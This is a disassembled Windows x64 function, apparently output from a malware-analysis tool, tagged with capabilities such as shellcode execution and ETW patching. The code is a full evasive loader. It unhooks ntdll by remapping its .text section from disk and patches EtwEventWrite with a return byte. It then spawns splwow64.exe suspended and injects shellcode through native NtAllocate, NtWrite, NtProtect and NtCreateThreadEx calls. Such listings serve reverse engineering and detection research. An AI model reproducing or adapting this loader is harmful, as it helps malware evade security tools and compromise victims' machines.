Function at 0x140005fc0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Execute shellcode via indirect call
Link many functions at runtime
Patch event tracing for windows function

Disassembly:
push rbp
push r12
push r13
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x140031010]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor r12d, r12d
lea rdx, [rsp + 0x64]
mov dword [rsp + 0x64], r12d
call fcn.140005550
mov r13, rax
test rax, rax
je 0x140006560
mov qword [rsp + 0x1b0], rbx
lea rcx, str.ntdll.dll
mov qword [rsp + 0x1b8], rsi
mov qword [rsp + 0x1c0], rdi
mov qword [rsp + 0x188], r14
mov qword [rsp + 0x180], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140005f00
test eax, eax
lea rcx, str.ntdll.dll
mov ebx, r12d
setne bl
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtProtectVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140005f00
test eax, eax
lea edi, [rbx + 1]
lea rcx, str.ntdll.dll
cmove edi, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140005f00
test eax, eax
lea ebx, [rdi + 1]
lea rcx, str.ntdll.dll
cmove ebx, edi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140005f00
test eax, eax
lea ecx, [rbx + 1]
cmove ecx, ebx
test ecx, ecx
je 0x140006304
movdqa xmm0, xmmword [str.C:WindowsSyste_]
movdqu xmmword [rbp + 0x50], xmm0
mov dword [rbp + 0x60], 0x5c32336d
mov dword [rbp + 0x64], 0x6c64746e
mov dword [rbp + 0x68], 0x6c642e6c
mov word [rbp + 0x6c], 0x6c
mov dword [rsp + 0x68], 0x7865742e
mov word [rsp + 0x6c], 0x74
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xorps xmm0, xmm0
lea rcx, str.ntdll.dll
mov rbx, rax
xor eax, eax
mov qword [rbp - 0x30], rax
movups xmmword [rbp - 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r9d, [r12 + 0x18]
mov rcx, rbx
mov rdx, rax
lea r8, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov r14, qword [rbp - 0x40]
lea r8d, [r12 + 1]
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x50]
mov dword [rsp + 0x28], r12d
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], r12
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x20], r12d
xor edx, edx
mov r8d, 0x1000002
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
lea edx, [r12 + 4]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd rsi, dword [r14 + 0x3c]
movzx edi, r12w
add rsi, r14
mov r15, rax
cmp r12w, word [rsi + 6]
jae 0x140006270
movzx ecx, word [rsi + 0x14]
lea r8, [rsp + 0x68]
movzx eax, di
add rcx, rsi
lea rbx, [rax*4 + 3]
add rbx, rax
lea rbx, [rcx + rbx*8]
mov rax, rbx
sub r8, rbx
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140006213
inc rax
test ecx, ecx
jne 0x140006200
test edx, edx
jne 0x140006263
mov ecx, dword [rbx + 0xc]
lea r9, [rsp + 0x70]
mov edx, dword [rbx + 8]
add rcx, r14
mov r8d, 0x40
mov dword [rsp + 0x70], r12d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0xc]
mov r8d, dword [rbx + 8]
lea rdx, [rax + r15]
lea rcx, [rax + r14]
call fcn.14000e290
mov ecx, dword [rbx + 0xc]
lea r9, [rsp + 0x70]
mov edx, dword [rbx + 8]
add rcx, r14
mov r8d, dword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc di
cmp di, word [rsi + 6]
jb 0x1400061d1
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140005f00
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtProtectVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140005f00
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140005f00
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140005f00
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWriteVirtualMemory
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtProtectVirtualMemory
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateThreadEx
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtResumeThread
mov rcx, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.EtwEventWrite
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rbp - 0x68], rax
mov byte [rsp + 0x60], 0xc3
mov dword [rsp + 0x74], 0
mov qword [rbp - 0x70], 0x1000
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 4
lea r8, [rbp - 0x70]
mov rcx, rax
lea rdx, [rbp - 0x68]
lea rax, [rsp + 0x74]
mov qword [rsp + 0x20], rax
call r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 1
mov qword [rsp + 0x20], 0
mov rcx, rax
lea r8, [rsp + 0x60]
mov rdx, rbx
call rsi
mov ebx, dword [rsp + 0x74]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0x74]
mov r9d, ebx
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x70]
mov rcx, rax
lea rdx, [rbp - 0x68]
call r14
xorps xmm0, xmm0
mov dword [rbp - 0x20], 0x70
xor eax, eax
lea rdx, str.C:Windows_splwow64.exe
xor ebx, ebx
mov qword [rbp + 0x44], rax
mov dword [rbp + 0x4c], eax
xor r9d, r9d
lea rax, [rbp - 0x58]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebx
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp + 0x34], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [rsp + 0x64]
lea r9, [rbp - 0x60]
mov rcx, qword [rbp - 0x58]
lea rdx, [rsp + 0x78]
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov qword [rbp - 0x60], rax
mov qword [rsp + 0x78], rbx
mov dword [rsp + 0x20], 0x3000
call rdi
mov r9d, dword [rsp + 0x64]
lea rax, [rbp - 0x80]
mov rdx, qword [rsp + 0x78]
mov r8, r13
mov rcx, qword [rbp - 0x58]
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x80], ebx
call rsi
mov rcx, qword [rbp - 0x58]
lea rax, [rbp - 0x7c]
lea r9d, [rbx + 0x20]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x64]
mov dword [rbp - 0x7c], ebx
lea rdx, [rsp + 0x78]
call r14
mov rax, qword [rsp + 0x78]
lea rcx, [rbp - 0x28]
mov r9, qword [rbp - 0x58]
xor r8d, r8d
mov qword [rsp + 0x50], rbx
mov edx, 0x1fffff
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call r15
mov rcx, qword [rbp - 0x50]
lea rdx, [rbp - 0x78]
mov dword [rbp - 0x78], ebx
call r12
mov r15, qword [rsp + 0x180]
mov r14, qword [rsp + 0x188]
mov rdi, qword [rsp + 0x1c0]
mov rsi, qword [rsp + 0x1b8]
mov rbx, qword [rsp + 0x1b0]
xor eax, eax
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.140008870
add rsp, 0x190
pop r13
pop r12
pop rbp
ret